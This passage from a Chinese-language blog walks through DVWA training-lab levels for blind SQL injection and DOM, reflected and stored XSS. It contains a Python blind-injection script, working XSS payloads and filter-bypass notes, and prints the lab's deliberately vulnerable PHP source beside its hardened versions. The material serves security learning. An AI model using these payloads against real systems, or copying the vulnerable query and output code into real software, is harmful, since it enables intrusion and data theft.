'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'security=low; security=low; PHPSESSID=8fuco75nlu8mq692akkb1mcr4o',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
r = requests.post(url+payload,headers=headers) #根据实际情况选择提交方式
#print(r.text)
if("MISSING " in r.text): #查询失败特点
high = mid
else:
low = mid + 1
mid = (low + high)>>1
result += chr(mid)
print(result)

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

没有进行任何过滤,查询有结果则返回User ID exists in the database. ,否则返回User ID is MISSING from the database.

Medium

Low难度差不多,只是提交方式换成了POST,用burp抓一下包就好了
dvwa_37
注入用的语句也是大同小异
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

同样是转义了特殊字符,表名使用十六进制就好了

High

SQL注入部分一样,换成了这样两个页面显示的方式
dvwa_38
这样使用脚本貌似也不是很好做,不过难度和Low一样,没什么过滤之类的
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到没有任何过滤

Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加了user_token、使用预处理、判断参数是否为数字、PDO,基本上没什么办法

XSS(DOM)
Low

一进去有点迷,这连输入框都没有,之后发现是提交选择的语言,选择之后URL上会出现相应的字符串,这样低难度肯定没有过滤,直接弹
试了一下用<img>标签居然没用,用的是<script>标签
dvwa_47
源代码:

1
2
3
4
5
<?php

# No protections, anything goes

?>

Medium

这里<script>标签没用了,大小写试了一下全都重定向,我还是选择<img>,就不行闭合不了了
dvwa_48
在闭合了<option><select>标签后,终于弹出来了
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

怪不得<script>没用,直接过滤了<script

High

故技重施大失败…
看下源代码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

看完了我还是没什么办法,我感觉这基本就没办法了,但是这不是Impossible难度肯定有解决方案,于是动用了搜索引擎
看到两种方法,一种是使用非预期参数,还有一种是利用location.hash,前者之前倒是听过一点,后者这个名字真是没什么印象,看了一下利用方式,原来是定位到页面位置的那个东西
dvwa_49
dvwa_50

Impossible

源代码:

1
2
3
4
5
<?php

# Don't need to do anything, protction handled on the client side

?>

???Impossible难度居然什么处理都没有,说是客户端就够了
查看一下客户端的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>

看不出什么特点,不过搜索引擎说是由于lang边上的两个括号

XSS(Reflected)
Low

dvwa_39
Low难度的应该没什么过滤,直接闭合测试
dvwa_40
直接弹窗,这里用的payload是</pre><img src=aaa onerror=alert(1)>
后面不用闭合是因为HTML会忽略一部分出错的代码
源代码:

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

Medium

dvwa_41
同样的payload还是成功了,不知道到底过滤了啥
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

过滤了<script>标签,很不巧我平时喜欢用<img>标签…

High

emmmm还是这个payload,不禁怀疑我是不是难度没换
dvwa_42
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

原来这个系统主要是针对<script>标签的过滤,失敬了

Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这样直接把HTML中的特殊字符直接转换为HTML实体,暂时我没有什么解决办法

XSS(Stored)
Low

存储型,再次使用之前的payload,值得注意的是,这里name参数限制了长度,可以通过F12开发人员工具修改允许输入的最大长度
dvwa_43
dvwa_44
弹了两次,因为两个地方都写入了
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

看了一下主要是针对SQL注入的防护

Medium

dvwa_45
估计这里除了Impossible难度,其他难度都能使用<img>标签XSS
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

High

dvwa_46
果然…
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

特殊字符转换成实体,一样的方法

总结

总的来说这个系统对于初学者来说还是不错的,不过XSS部分可能还需要改进,毕竟只过滤了一个标签,其他方面的话,在搭建环境加上解决问题的时候,还是可以学习到很多知识的


参考资料:
DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting
新手指南:DVWA-1.9全级别教程之Insecure CAPTCHA

评论系统未开启,无法评论!